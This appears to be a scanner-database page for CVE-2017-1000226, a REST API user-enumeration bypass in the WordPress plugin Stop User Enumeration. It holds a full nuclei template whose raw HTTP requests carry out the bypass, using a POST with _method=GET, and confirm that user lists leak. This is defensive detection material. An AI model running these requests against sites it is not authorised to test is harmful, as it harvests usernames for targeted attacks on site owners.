Stop User Enumeration <= 1.3.8 - REST API User Enumeration Bypass

mediumseverity

5.3CVSS score

1.4%likelihood of exploitation, next 30 days

73%of all CVEs are less likely

Readycheck to confirm it

Stop User Enumeration 1.3.8 contains a user enumeration vulnerability via the REST API, letting attackers identify valid users, exploit requires sending specific API requests.

Impact

Attackers can identify valid users, aiding targeted attacks or account harvesting.

Fix

Update to the latest version that fixes the vulnerability or apply security patches.

How to confirm it

Send: GET /?rest_route=/wp/v2/users
Positive when: status_code == 401 and contains_all(body, "\"code\":\"rest_cannot_access\"", "Only authenticated users can access the User endpoint REST API.")
Send: POST /?_method=GET
Positive when: contains_all(body, "[{\"id", "name\":") and contains(content_type, "application/json") and status_code == 200

Run it with nuclei: nuclei -id CVE-2017-1000226 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2017-1000226

info:
  name: Stop User Enumeration <= 1.3.8 - REST API User Enumeration Bypass
  author: theamanrawat
  severity: medium
  description: |
    Stop User Enumeration 1.3.8 contains a user enumeration vulnerability via the REST API, letting attackers identify valid users, exploit requires sending specific API requests.
  impact: |
    Attackers can identify valid users, aiding targeted attacks or account harvesting.
  remediation: |
    Update to the latest version that fixes the vulnerability or apply security patches.
  reference:
    - https://advisories.dxw.com/advisories/stop-user-enumeration-rest-api/
    - https://nvd.nist.gov/vuln/detail/CVE-2017-1000226
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2017-1000226
    epss-score: 0.01385
    epss-percentile: 0.72435
    cwe-id: CWE-200
  metadata:
    max-request: 2
    vendor: fullworks
    product: stop-user-enumeration
  tags: cve,cve2017,wordpress,wp-plugin,stop-user-enumeration,exposure,vuln,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /?rest_route=/wp/v2/users HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
          - 'contains_all(body, "\"code\":\"rest_cannot_access\"", "Only authenticated users can access the User endpoint REST API.")'
        condition: and
        internal: true

  - raw:
      - |
        POST /?_method=GET HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        rest_route=/wp/v2/users

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "[{\"id", "name\":")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from